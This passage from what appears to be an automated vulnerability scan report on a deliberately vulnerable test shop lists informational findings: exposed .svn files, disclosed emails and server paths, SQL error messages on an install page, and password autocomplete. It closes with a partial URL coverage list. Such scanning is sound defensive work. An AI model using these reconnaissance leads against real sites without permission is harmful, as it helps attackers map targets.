Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/css/.svn/entries

Details

HTTP/1.1 200 OK
Date: Wed, 24 Sep 2014 09:10:47 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Mon, 22 Sep 2014 13:00:08 GMT
ETag: "1bc6ba-bb1-503a707c00600"
Accept-Ranges: bytes
Content-Length: 2993
Keep-Alive: timeout=5, max=925
Connection: Keep-Alive

Request headers

```
GET /css/.svn/entries HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/css/nivo-themes/.svn/entries

Details

HTTP/1.1 200 OK
Date: Wed, 24 Sep 2014 09:10:52 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Mon, 22 Sep 2014 13:00:08 GMT
ETag: "1bc627-f3-503a707c00600"
Accept-Ranges: bytes
Content-Length: 243
Keep-Alive: timeout=5, max=999
Connection: Keep-Alive

Request headers

```
GET /css/nivo-themes/.svn/entries HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/css/nivo-themes/bar/.svn/entries

Details

HTTP/1.1 200 OK
Date: Wed, 24 Sep 2014 09:10:54 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Mon, 22 Sep 2014 13:00:08 GMT
ETag: "1bc61a-2e4-503a707c00600"
Accept-Ranges: bytes
Content-Length: 740
Keep-Alive: timeout=5, max=905
Connection: Keep-Alive

Request headers

```
GET /css/nivo-themes/bar/.svn/entries HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/css/nivo-themes/light/.svn/entries

Details

HTTP/1.1 200 OK
Date: Wed, 24 Sep 2014 09:10:56 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Mon, 22 Sep 2014 13:00:08 GMT
ETag: "1c486d-397-503a707c00600"
Accept-Ranges: bytes
Content-Length: 919
Keep-Alive: timeout=5, max=996
Connection: Keep-Alive

Request headers

```
GET /css/nivo-themes/light/.svn/entries HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/font-awesome/.svn/entries

Details

HTTP/1.1 200 OK
Date: Wed, 24 Sep 2014 09:10:57 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Mon, 22 Sep 2014 13:00:08 GMT
ETag: "1bc596-107-503a707c00600"
Accept-Ranges: bytes
Content-Length: 263
Keep-Alive: timeout=5, max=950
Connection: Keep-Alive

Request headers

```
GET /font-awesome/.svn/entries HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/font-awesome/css/.svn/entries

Details

HTTP/1.1 200 OK
Date: Wed, 24 Sep 2014 09:10:58 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Mon, 22 Sep 2014 13:00:08 GMT
ETag: "1bc6df-23f-503a707c00600"
Accept-Ranges: bytes
Content-Length: 575
Keep-Alive: timeout=5, max=948
Connection: Keep-Alive

Request headers

```
GET /font-awesome/css/.svn/entries HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/font-awesome/fonts/.svn/entries

Details

HTTP/1.1 200 OK
Date: Wed, 24 Sep 2014 09:11:20 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Mon, 22 Sep 2014 13:00:08 GMT
ETag: "1bc388-489-503a707c00600"
Accept-Ranges: bytes
Content-Length: 1161
Keep-Alive: timeout=5, max=930
Connection: Keep-Alive

Request headers

```
GET /font-awesome/fonts/.svn/entries HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/fonts/.svn/entries

Details

HTTP/1.1 200 OK
Date: Wed, 24 Sep 2014 09:11:17 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Mon, 22 Sep 2014 13:00:08 GMT
ETag: "1bc33c-73f-503a707c00600"
Accept-Ranges: bytes
Content-Length: 1855
Keep-Alive: timeout=5, max=932
Connection: Keep-Alive

Request headers

```
GET /fonts/.svn/entries HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/js/.svn/entries

Details

HTTP/1.1 200 OK
Date: Wed, 24 Sep 2014 09:11:01 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Mon, 22 Sep 2014 13:00:08 GMT
ETag: "1bc6e5-15fc-503a707c00600"
Accept-Ranges: bytes
Content-Length: 5628
Keep-Alive: timeout=5, max=945
Connection: Keep-Alive

Request headers

```
GET /js/.svn/entries HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/js/amf/.svn/entries

Details

HTTP/1.1 200 OK
Date: Wed, 24 Sep 2014 09:11:03 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Mon, 22 Sep 2014 13:00:08 GMT
ETag: "1c85c9-17c-503a707c00600"
Accept-Ranges: bytes
Content-Length: 380
Keep-Alive: timeout=5, max=927
Connection: Keep-Alive

Request headers

```
GET /js/amf/.svn/entries HTTP/1.1
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

Email address found

Severity	**Informational**
Type	Informational
Reported by module	Scripting (Text_Search_File.script)

Description

One or more email addresses have been found on this page. The majority of spam comes from email addresses harvested off the internet. The spam-bots (also known as email harvesters and email extractors) are programs that scour the internet looking for email addresses on any website they come across. Spambot programs look for strings like myname@mydomain.com and then record any addresses found.

Impact

Email addresses posted on Web sites may attract spam.

Recommendation

Check references for details on how to solve this problem.

References

Email Address Disclosed on Website Can be Used for Spam

Affected items

/contact

Details

Pattern found: feedback@startbootstrap.com
feedback@hackazon.webscantest.com

Request headers

```
GET /contact HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

GHDB: SQL error message

Severity	**Informational**
Type	Informational
Reported by module	GHDB

Description

The description for this alert is contributed by the GHDB community, it may contain inappropriate language.
Category : Error Messages

Another SQL error message, this message can display the username, database, path names and partial SQL code, all of which are very helpful for hackers...

The Google Hacking Database (GHDB) appears courtesy of the Google Hacking community.

Impact

Not available. Check description.

Recommendation

Not available. Check description.

References

The Google Hacking Database (GHDB) community
Acunetix Google hacking

Affected items

/install/db_settings (97eb453c90aa6e57b1174cc01cb34a8a)

Details

We found "access denied for user" "using password" -documentation

Request headers

```
POST /install/db_settings HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/install
Content-Length: 90
Content-Type: application/x-www-form-urlencoded
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

create_if_not_exists=on&db=hackazon&host=localhost&password=g00dPa%24%24w0rD&user=hackaz
on
```

/install/db_settings (c070808fcf8db8fe1dea55628b08e367)

Details

We found "access denied for user" "using password" -documentation

Request headers

```
POST /install/db_settings HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/install
Content-Length: 67
Content-Type: application/x-www-form-urlencoded
```

```
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

&db=hackazon&host=localhost&password=g00dPa%24%24w0rD&user=hackazon
```

Password type input with auto-complete enabled

Severity	**Informational**
Type	Informational
Reported by module	Crawler

Description

When a new name and password is entered in a form and the form is submitted, the browser asks if the password should be saved. Thereafter when the form is displayed, the name and password are filled in automatically or are completed as the name is entered. An attacker with local access could obtain the cleartext password from the browser cache.

Impact

Possible sensitive information disclosure

Recommendation

The password auto-complete should be disabled in sensitive applications.
To disable auto-complete, you may use a code similar to:
<INPUT TYPE="password" AUTOCOMPLETE="off">

Affected items

/admin/user/login

Details

Password type input named password from unnamed form with action /admin/user/login has autocomplete enabled.

Request headers

```
GET /admin/user/login HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/admin
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/install

Details

Password type input named password from form with ID dbSettingsForm with action /install/db_settings has autocomplete enabled.

Request headers

```
GET /install HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
```

```
Accept: */*
```

/user/login (1b7d92b257da3a80b3e049d07988485f)

Details

Password type input named password from form with ID loginPageForm with action /user/login?return_url=%2Fproduct%2Fview%3Fid%3D168 has autocomplete enabled.

Request headers

```
GET /user/login?return_url=/product/view%3Fid%3D168 HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/product/view
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/user/login (2861d42891b8a8995eaa9f641bb5f39f)

Details

Password type input named password from form with ID loginPageForm with action /user/login?return_url=%2Fwishlist%2F has autocomplete enabled.

Request headers

```
GET /user/login?return_url=/wishlist/ HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/wishlist/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/user/login (2e48210ef9600d9247dcefd79e41a9bc)

Details

Password type input named password from form with ID loginPageForm with action /user/login?return_url=%2Fcheckout%2Fshipping has autocomplete enabled.

Request headers

```
GET /user/login?return_url=/checkout/shipping HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/cart/view
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/user/login (50dfd349322923634234a2cc88907339)

Details

Password type input named password from form with ID loginPageForm with action /user/login?return_url=%2Fproduct%2Fview%3Fid%3D171 has autocomplete enabled.

Request headers

```
GET /user/login?return_url=/product/view%3Fid%3D171 HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/product/view
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/user/login (74825fb8bcaf31e5a289919f24b8d64d)

Details

Password type input named password from form with ID loginPageForm with action /user/login?return_url=%2Fproduct%2Fview%3Fid%3D45 has autocomplete enabled.

Request headers

```
GET /user/login?return_url=/product/view%3Fid%3D45 HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/product/view
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/user/login (74a0f8e1f4c0684099b0161142445e4c)

Details

Password type input named password from form with ID loginPageForm with action /user/login?return_url=%2Fwishlist has autocomplete enabled.

Request headers

```
GET /user/login?return_url=/wishlist HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/wishlist/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/user/login (8e13c9ba83d4f758824bd24bda1dd61d)

Details

Password type input named password from form with ID loginPageForm with action /user/login has autocomplete enabled.

Request headers

```
POST /user/login HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/
Content-Length: 43
Content-Type: application/x-www-form-urlencoded
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*

password=g00dPa%24%24w0rD&username=wnnifuxr
```

/user/login (ef6a323c6cc429e96c0469a0ca30506b)

Details

Password type input named password from form with ID loginPageForm with action /user/login?return_url=%2Faccount has autocomplete enabled.

Request headers

```
GET /user/login?return_url=/account HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/account
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/user/register

Details

Password type input named password_confirmation from form with ID registerForm with action /user/register has autocomplete enabled.

Request headers

```
GET /user/register HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/user/register

Details

Password type input named password from form with ID registerForm with action /user/register has autocomplete enabled.

Request headers

```
GET /user/register HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

Possible server path disclosure (Unix)

Severity	**Informational**
Type	Informational
Reported by module	Scripting (Text_Search_File.script)

Description

One or more fully qualified path names were found on this page. From this information the attacker may learn the file system structure from the web server. This information can be used to conduct further attacks.

This alert may be a false positive, manual confirmation is required.

Impact

Possible sensitive information disclosure.

Recommendation

Prevent this information from being displayed to the user.

Affected items

/cart/add

Details

Pattern found: /var/www/hackazon.webscantest.com/vendor/phpixie/db/classes/PHPixie/DB/Query.php

Request headers

```
GET /cart/add HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/product/view
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/review/send

Details

Pattern found: /var/www/hackazon.webscantest.com/assets/views/main.php

Request headers

```
GET /review/send HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/product/view
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

/voucher

Details

Pattern found:
/var/www/hackazon.webscantest.com/vendor/hackazon/amfphp/Amfphp/Plugins/AmfphpJson/AmfphpJson.php

Request headers

```
GET /voucher?contentType=application/json HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

Possible username or password disclosure

Severity	**Informational**
Type	Informational
Reported by module	Scripting (Text_Search_File.script)

Description

A username and/or password was found in this file. This information could be sensitive.

This alert may be a false positive, manual confirmation is required.

Impact

Possible sensitive information disclosure.

Recommendation

Remove this file from your website or change its permissions to remove access.

Affected items

/font-awesome/css/font-awesome.min.css

Details

Pattern found: pass:before

Request headers

```
GET /font-awesome/css/font-awesome.min.css HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://hackazon.webscantest.com/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: PHPSESSID=vnim9qn5sv6ugn3tk1ehghr5l5; visited_products=%2C45%2C168%2C171%2C
Host: hackazon.webscantest.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Accept: */*
```

Scanned items (coverage report)

Scanned 495 URLs. Found 60 vulnerable.

URL: http://hackazon.webscantest.com/

Vulnerabilities has been identified for this URL

11 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
/	Path Fragment
/	Path Fragment

Input scheme 2	
Input name	Input type
/	Path Fragment

Input scheme 3	
Input name	Input type
/	Path Fragment
/	Path Fragment
/	Path Fragment

Input scheme 4	
Input name	Input type
/	Path Fragment
/	Path Fragment
/	Path Fragment

Input scheme 5	
Input name	Input type
/	Path Fragment (suffix /)
/	Path Fragment (suffix /)

URL: http://hackazon.webscantest.com/search

Vulnerabilities has been identified for this URL

6 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
id	URL encoded GET
searchString	URL encoded GET

Input scheme 2	
Input name	Input type
brand-filter%5b%5d	URL encoded GET
price-filter	URL encoded GET
quality-filter	URL encoded GET

Input scheme 3	
Input name	Input type
brands	URL encoded GET

URL: http://hackazon.webscantest.com/search/page/

Vulnerabilities has been identified for this URL

6 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
brands	URL encoded GET
id	URL encoded GET
page	URL encoded GET
price	URL encoded GET
quality	URL encoded GET
searchString	URL encoded GET

URL: http://hackazon.webscantest.com/user

No vulnerabilities has been identified for this URL

No input(s) found for this URL

URL: http://hackazon.webscantest.com/user/login

Vulnerabilities has been identified for this URL

6 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
password	URL encoded POST
username	URL encoded POST

Input scheme 2	
Input name	Input type
return_url	URL encoded GET

Input scheme 3	
Input name	Input type
return_url	URL encoded GET
password	URL encoded POST
username	URL encoded POST

URL: http://hackazon.webscantest.com/user/register

Vulnerabilities has been identified for this URL

6 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
email	URL encoded POST
first_name	URL encoded POST
last_name	URL encoded POST
password	URL encoded POST
password_confirmation	URL encoded POST
username	URL encoded POST

URL: http://hackazon.webscantest.com/user/password

Vulnerabilities has been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
email	URL encoded POST

URL: http://hackazon.webscantest.com/user/terms

No vulnerabilities has been identified for this URL

No input(s) found for this URL

URL: http://hackazon.webscantest.com/twitter

No vulnerabilities has been identified for this URL

No input(s) found for this URL

URL: http://hackazon.webscantest.com/bestprice

Vulnerabilities has been identified for this URL

2 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
_csrf_bestprice	URL encoded POST
userEmail	URL encoded POST

URL: http://hackazon.webscantest.com/facebook

No vulnerabilities has been identified for this URL

No input(s) found for this URL

URL: http://hackazon.webscantest.com/faq

No vulnerabilities has been identified for this URL

3 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
_csrf_faq	URL encoded POST
userEmail	URL encoded POST
userQuestion	URL encoded POST

URL: http://hackazon.webscantest.com/contact

Vulnerabilities has been identified for this URL

6 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
_csrf_contact	URL encoded POST
contact_email	URL encoded POST
contact_message	URL encoded POST
contact_name	URL encoded POST
contact_phone	URL encoded POST
save	URL encoded POST

URL: http://hackazon.webscantest.com/cart

No vulnerabilities has been identified for this URL

No input(s) found for this URL

URL: http://hackazon.webscantest.com/cart/view

No vulnerabilities has been identified for this URL

No input(s) found for this URL

URL: http://hackazon.webscantest.com/cart/add

Vulnerabilities has been identified for this URL

4 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
product_id	URL encoded POST
qty	URL encoded POST

Input scheme 2	
Input name	Input type
product_id	URL encoded POST
shortcut	URL encoded POST

URL: http://hackazon.webscantest.com/wishlist/

Vulnerabilities has been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
search	URL encoded GET

URL: http://hackazon.webscantest.com/wishlist/search

No vulnerabilities has been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
search	URL encoded POST

URL: http://hackazon.webscantest.com/wishlist/view

No vulnerabilities has been identified for this URL

No input(s) found for this URL

URL: http://hackazon.webscantest.com/wishlist/view/1

No vulnerabilities has been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
search	URL encoded GET

URL: http://hackazon.webscantest.com/wishlist/view/2

No vulnerabilities has been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
search	URL encoded GET

URL: http://hackazon.webscantest.com/css

Vulnerabilities has been identified for this URL

1 input(s) found for this URL

Inputs

Input scheme 1	
Input name	Input type
	URL encoded GET

URL: http://hackazon.webscantest.com/css/site.css

No vulnerabilities has been identified for this URL

No input(s) found for this URL

URL: http://hackazon.webscantest.com/css/sidebar.css

No vulnerabilities has been identified for this URL

No input(s) found for this URL

URL: http://hackazon.webscantest.com/css/bootstrap.css

No vulnerabilities has been identified for this URL

No input(s) found for this URL

URL: http://hackazon.webscantest.com/css/nivo-slider.css

